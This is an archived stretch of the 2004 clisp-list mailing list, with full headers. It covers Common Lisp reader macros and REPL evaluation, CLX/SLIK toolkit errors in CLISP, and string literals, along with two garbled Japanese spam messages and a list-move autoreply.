studying it. > > I must say, the more Lisp I learn, the more I like it and can't imagine > how I used other languages. I suppose this is the general consensus :) Indeed. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From mgraffam@mathlab.sunysb.edu Tue Mar 09 18:44:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0thZ-0007zn-J6 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 18:44:09 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0t2R-0000Vr-Ei for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 18:01:39 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i2A2QjWO020129; Tue, 9 Mar 2004 21:26:45 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i2A2Qi47020126; Tue, 9 Mar 2004 21:26:44 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros for CLISP In-Reply-To: <16462.29176.120232.530376@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 18:45:04 2004 X-Original-Date: Tue, 9 Mar 2004 21:26:44 -0500 (EST) > > Are you sure? I just finished writing a macro character that tried to > > return a list, but which failed with an eval error -- so I ended up > > inserting a quote in front of it all. > > Absolutely. > > (set-macro-character #\$ (lambda (stream char) '(1 2 3))) > --> T > (read-from-string " $ ") > --> (1 2 3) ; > 2 Heh. And I thought I was confused before. Ok, so why the (apparent) different in behavior between read-from-string and the REPL? Observe: [14]> (set-macro-character #\$ (lambda (stream char) '(1 2 3))) T [17]> (read-from-string "$") (1 2 3) ; 1 Ok -- so far, so good. But: [18]> $ *** - EVAL: 1 is not a function name The returned item is being eval'd. This is OK for matrices, since the matrix evals to itself, but when returning lists -- what to do? In another application, I want {:a-line :line #(1 2 3) other stuff} to expand to ((:label . :a-line) (:type . :line) (:anchor . #(1 2 3)) other stuff) By inserting the quote as I described, I can successfully build my a-lists using this form, which nicely saves a bit of repetative typing -- but sure enough, when used from read-to-string I get a leading ' which isn't what I want. From pascal@informatimago.com Tue Mar 09 22:16:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0x0q-0007U7-3J for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 22:16:16 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0wjx-0002qO-5o for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 21:58:49 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CE6D9586E3; Wed, 10 Mar 2004 06:58:41 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4409E4F3D1; Wed, 10 Mar 2004 06:58:08 +0100 (CET) Message-ID: <16462.44656.154835.507111@thalassa.informatimago.com> To: Michael Graffam Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros for CLISP In-Reply-To: References: <16462.29176.120232.530376@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 22:17:00 2004 X-Original-Date: Wed, 10 Mar 2004 06:58:08 +0100 Michael Graffam writes: > > > > Are you sure? I just finished writing a macro character that tried to > > > return a list, but which failed with an eval error -- so I ended up > > > inserting a quote in front of it all. > > > > Absolutely. > > > > (set-macro-character #\$ (lambda (stream char) '(1 2 3))) > > --> T > > (read-from-string " $ ") > > --> (1 2 3) ; > > 2 > > Heh. And I thought I was confused before. > > Ok, so why the (apparent) different in behavior between read-from-string > and the REPL? Observe: Why do you think it's called a REPL? Read Eval Print Loop! ^^^^ Of course (1 2 3) is not a function call, you cannot evaluate it! If you typed directly (1 2 3) to the REPL you'd get the same error. > [18]> $ > > *** - EVAL: 1 is not a function name [19]> (1 2 3) *** - EVAL: 1 is not a function name > The returned item is being eval'd. This is OK for matrices, since the > matrix evals to itself, but when returning lists -- what to do? Read the data don't evaluate it! You can evaluate only programs, not data. > In another application, I want {:a-line :line #(1 2 3) other stuff} > to expand to ((:label . :a-line) (:type . :line) (:anchor . #(1 2 3)) other > stuff) > > By inserting the quote as I described, I can successfully build my > a-lists using this form, which nicely saves a bit of repetative typing -- > but sure enough, when used from read-to-string I get a leading ' which > isn't what I want. You should insert the quote in your input, not in the reader macro. [112]> '$ (1 2 3) -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From mgraffam@mathlab.sunysb.edu Tue Mar 09 22:24:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0x8N-0001eA-AV for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 22:24:03 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0wrU-0004Ne-VB for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 22:06:37 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i2A66QWO029912; Wed, 10 Mar 2004 01:06:26 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i2A66Qew029909; Wed, 10 Mar 2004 01:06:26 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros for CLISP In-Reply-To: <16462.44656.154835.507111@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 22:25:01 2004 X-Original-Date: Wed, 10 Mar 2004 01:06:26 -0500 (EST) On Wed, 10 Mar 2004, Pascal J.Bourguignon wrote: > Why do you think it's called a REPL? > > Read Eval Print Loop! > ^^^^ { ... and then he was enlightened ... } > You should insert the quote in your input, not in the reader macro. > [112]> '$ > (1 2 3) Yes. I realize now that I was implicitely trying to avoid exactly that as I begin playing with set-macro-character. Matlisp allowed '[2 ; 3] and [2 ; 3] and I was trying to mimick that. Thanks for setting me straight. Manually inserting the ' is the proper way. Regards, Mike From ICMdesign@aol.com Tue Mar 09 23:18:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0xzJ-0004FP-G2 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 23:18:45 -0800 Received: from imo-d22.mx.aol.com ([205.188.144.208]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0xJt-0006hj-K8 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 22:35:57 -0800 Received: from ICMdesign@aol.com by imo-d22.mx.aol.com (mail_out_v37.4.) id 6.140.23f889ec (3988) for ; Wed, 10 Mar 2004 02:01:06 -0500 (EST) From: ICMdesign@aol.com Message-ID: <140.23f889ec.2d801732@aol.com> Subject: Re: [clisp-list] Re: clisp 2.32 with clx To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: AOL 5.0 for Windows sub 120 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 23:19:05 2004 X-Original-Date: Wed, 10 Mar 2004 02:01:06 EST In einer eMail vom 06.03.04 16:29:55 (MEZ) Mitteleurop=E4ische Zeit schreibt= =20 sds@gnu.org: << this appears to be a bug. we need to investigate it. please try the above commands, start with ":bt >> Hello,=20 []> ....clisp-2.32/full/lisp.run -M ....clisp-2.32/full/lispinit.mem []> (cd "....clocc/src/gui/clx/demo") []> (load "qix.lisp") []> (in-package :xlib) []>(qix :host "k") =3D>OK []>(user::load "hello.lisp") []>(hello-world "k") =3D> class # has no slot named FONT-= INFO BREAK> :tb BREAK> :b =3D> (TEXT-WIDTH FONT STRING) after removing the line with this form and restarting: (hello-world "k") =3D> the same error BREAK> :bt BREAK> :b =3D> (DRAW-GLYPHS WINDOW GCONTEXT X Y STRING) K From yynet@diginet.to Wed Mar 10 01:15:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0zoX-0000g7-LU for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 01:15:45 -0800 Received: from mail.uiui.net ([219.109.215.203]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1B0z90-0007Ot-Bw for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 00:32:50 -0800 Received: (qmail 9254 invoked by uid 0); 10 Mar 2004 08:54:42 -0000 Received: from fla1aaf169.wky.mesh.ad.jp (HELO dmmailer) (220.144.242.169) by mail.uiui.net with SMTP; 10 Mar 2004 08:54:42 -0000 To: clisp-list@lists.sourceforge.net X-Mailer: DM Mailer Ver.1.2.2 Message-ID: <20040310.0859130250@yynet-diginet.to> From: =?ISO-2022-JP?B?GyRCTDVOQSRHPlIycCQ3JF4kOSEjGyhCIA==?= MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 JAPANESE_UCE_SUBJECT Subject contains a Japanese UCE tag Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 01:16:05 2004 X-Original-Date: Wed, 10 Mar 2004 17:59:13 +0900 $B!c;v6H$^$l$kJ}$N2q$G$9!#(B ($BF~2q;q3J$O!"(B23$B:P0J>e$GF|K\:_=;$NJ}$G$9!#!K(B $B!y?75,$4F~2q$5$l$?J}$K$O$"$J$?$N$44uK>$K9g$C$?J}$r(B1$BL>L5NA$G>R2p(B $B$7$^$9!*!JM9JX$G>R2p$7$^$9!#!K(B $B!yFH<+$N8r:]>pJs;o$rH/9T$7$F$*$j$^$9$N$GB??t$N2q0wMM$+$iA*$Y$k(B $B%7%9%F%`$b$4$6$$$^$9!*(B $B!y$/$o$7$/$O%[!<%`%Z!<%8$r$4Mw$/$@$5$$!#(B $B!y%[!<%`%Z!<%8!!(Bhttp://www.yy-net.co.jp $B!y8r:]$NBh0lJb$r$*R2p$G$J$/!"$4$/<+A3$K$*IU$-9g$$$r4uK>$5$l$F$$$kJ}(B $B$K$*$9$9$a$G$9(B From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 10 03:10:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B11bb-0008F1-9t for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 03:10:31 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B11Kb-0002Ne-If for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 02:52:57 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Wed, 10 Mar 2004 11:52:47 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Mar 2004 11:52:42 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A381FB7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: [clisp-list] macros for CLISP -- character literals in strings MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 03:11:08 2004 X-Original-Date: Wed, 10 Mar 2004 11:52:38 +0100 Hi, Pascal J.Bourguignon wrote: >(defconstant +space-list+ '(#\newline #\Return #\Linefeed=20 >#\space #\tab #\page)) >;; Note, usually, I prefer to keep characters in strings, >;; and using POSITION instead of MEMBER. >;; It's just harder to come with a string literal containing=20 >these characters. Uh? What about (coerce '(#\newline #\Return #\Linefeed #\space #\tab #\page) 'string) Come on, constant values in Lisp can be computed and result from = complex computations, unlike preprocessor literals in C. Ok, such string literals are not so nice when printed or while in the = debugger, but that's not the reason you invoke. " ^M ^L" I agree that another case is slightly harder: a mixture of text and = #\newline in between. E.g. I myself tend to dislike invoking FORMAT to = achieve constant strings with embedded newlines like in (defconstant +foo+ (format nil "First line~%Another line~%")) But your example with only special characters does not fall into this = category. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 10 03:22:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B11mv-0005Vu-JK for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 03:22:13 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B117G-0007pa-R9 for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 02:39:11 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 10 Mar 2004 12:04:29 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Mar 2004 12:04:28 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A381FC2@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com, mgraffam@mathlab.sunysb.edu Subject: [clisp-list] macros for CLISP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 03:23:05 2004 X-Original-Date: Wed, 10 Mar 2004 12:04:28 +0100 Pascal Bourguignon answered to Michael Graffam who wrote: >> In another application, I want {:a-line :line #(1 2 3) other stuff} >> to expand to ((:label . :a-line) (:type . :line) (:anchor .=20 >#(1 2 3)) other stuff) >>=20 >> By inserting the quote as I described, I can successfully build my >> a-lists using this form, which nicely saves a bit of=20 >repetative typing -- >> but sure enough, when used from read-to-string I get a=20 >leading ' which >> isn't what I want. >You should insert the quote in your input, not in the reader macro. >[112]> '$ >(1 2 3) I believe Michael should query himself whether he may want his = reader-macro to only work with literals or also with computed values. = E.g. what should be supported among the following: {:a-line :line #(123) other-stuff-only-literals} {:a-line :line '#(123) other-stuff} {:a-line :line (compute-my-array 'A) other-stuff} (list #\a `(boy {:a-line :line ,(identity '#(1 2 3)) other-stuff} 456)) The macro expander will be different, due to the use of lists as the = underlying representation. If an array, a structure or an instance were used, some difference = w.r.t. quoting might not appear, since ANSI requires self-evaluation = for these. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 10 04:34:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B12uv-0006pM-Ge for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 04:34:33 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B12FC-0003MI-Lp for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 03:51:26 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 10 Mar 2004 13:16:47 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Mar 2004 13:16:44 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A382023@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: ICMdesign@aol.com Subject: [clisp-list] clisp 2.32 with clx MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 04:35:04 2004 X-Original-Date: Wed, 10 Mar 2004 13:16:42 +0100 Hi, ICMdesign wrote: >SLIK(SImple Lisp Interface Kit ) from Ira Kalet is a toolkit=20 >using clos and=20 >clx.It is "smaller" than Garnet but has problems with clisp.=20 >....clisp-2.32/full/lisp.run -M ....clisp-2.32/full/lispinit.mem >*** - FFI:: LOOKUP-FOREIGN-FUNCTION :a foreign function=20 >"glClearIndex" does not exist Either this specific function is not in the loaded module, or the = module is not loaded/available at all. Again, please try out (EXT:MODULE-INFO) to obtain a list of modules in = your clisp (provide output here if you wish). Does anybody know what package the gl* prefix from glClearIndex() = references? Is that Dan's GDI module? OpenGL? CLX? >This SLIK package would be a good supplement to the CLOCC I think. I cannot comment on that. Regards, J=F6rg H=F6hle. From yynet@diginet.to Wed Mar 10 04:45:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B135L-0000Uo-9k for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 04:45:19 -0800 Received: from mail.uiui.net ([219.109.215.203]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1B12Pa-0006hK-4A for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 04:02:10 -0800 Received: (qmail 16137 invoked by uid 0); 10 Mar 2004 12:24:29 -0000 Received: from 54.52.112.219.ap.yournet.ne.jp (HELO dmmailer) (219.112.52.54) by mail.uiui.net with SMTP; 10 Mar 2004 12:24:29 -0000 To: clisp-list@lists.sourceforge.net X-Mailer: DM Mailer Ver.1.2.2 Message-ID: <20040310.1228540980@yynet-diginet.to> From: =?ISO-2022-JP?B?GyRCTDVOQSRHPlIycCQ3JF4kOSEjGyhCIA==?= MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 JAPANESE_UCE_SUBJECT Subject contains a Japanese UCE tag Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 04:46:00 2004 X-Original-Date: Wed, 10 Mar 2004 21:28:55 +0900 $B!c;v6H$^$l$kJ}$N2q$G$9!#(B ($BF~2q;q3J$O!"(B23$B:P0J>e$GF|K\:_=;$NJ}$G$9!#!K(B $B!y?75,$4F~2q$5$l$?J}$K$O$"$J$?$N$44uK>$K9g$C$?J}$r(B1$BL>L5NA$G>R2p(B $B$7$^$9!*!JM9JX$G>R2p$7$^$9!#!K(B $B!yFH<+$N8r:]>pJs;o$rH/9T$7$F$*$j$^$9$N$GB??t$N2q0wMM$+$iA*$Y$k(B $B%7%9%F%`$b$4$6$$$^$9!*(B $B!y$/$o$7$/$O%[!<%`%Z!<%8$r$4Mw$/$@$5$$!#(B $B!y%[!<%`%Z!<%8!!(Bhttp://www.yy-net.co.jp $B!y8r:]$NBh0lJb$r$*R2p$G$J$/!"$4$/<+A3$K$*IU$-9g$$$r4uK>$5$l$F$$$kJ}(B $B$K$*$9$9$a$G$9(B From nedit@jebediah.calyx.nl Wed Mar 10 04:56:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B13Ft-0002kG-3e for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 04:56:13 -0800 Received: from jebediah.calyx.nl ([213.130.163.54]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B12a7-0001Ju-7M for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 04:13:03 -0800 Received: by jebediah.calyx.nl (Postfix, from userid 1008) id 721DE3B36D; Wed, 10 Mar 2004 13:38:20 +0100 (CET) To: From: nedit.org Precedence: Bulk Message-Id: <20040310123820.721DE3B36D@jebediah.calyx.nl> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Mailing lists have changed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 04:57:03 2004 X-Original-Date: Wed, 10 Mar 2004 13:38:20 +0100 (CET) You are apparently trying to reach one of the NEdit mailing lists. Please note that the nedit.org mailing lists have moved, and the addresses for the list managers have changed. Amongst others, majordomo@nedit.org is no longer valid. If you are looking to subscribe to one of the NEdit mailing lists, please visit http://www.nedit.org/mail.shtml where you will find insructions on how to join one or more of the lists, or contact the list owners. With kind regards the NEdit hostmaster -- This is an autogenerated message. Replies will most likely not reach an actual person. From sds@gnu.org Wed Mar 10 06:50:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B152O-0004fm-EV for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 06:50:24 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B14MU-00047b-3H for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 06:07:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2AEWMEN028607; Wed, 10 Mar 2004 09:32:23 -0500 (EST) To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <140.23f889ec.2d801732@aol.com> (ICMdesign@aol.com's message of "Wed, 10 Mar 2004 02:01:06 EST") References: <140.23f889ec.2d801732@aol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 06:51:03 2004 X-Original-Date: Wed, 10 Mar 2004 09:32:21 -0500 > * [2004-03-10 02:01:06 -0500]: > > In einer eMail vom 06.03.04 16:29:55 (MEZ) Mitteleurop=C3=A4ische Zeit sc= hreibt=20 > sds@gnu.org: > > << this appears to 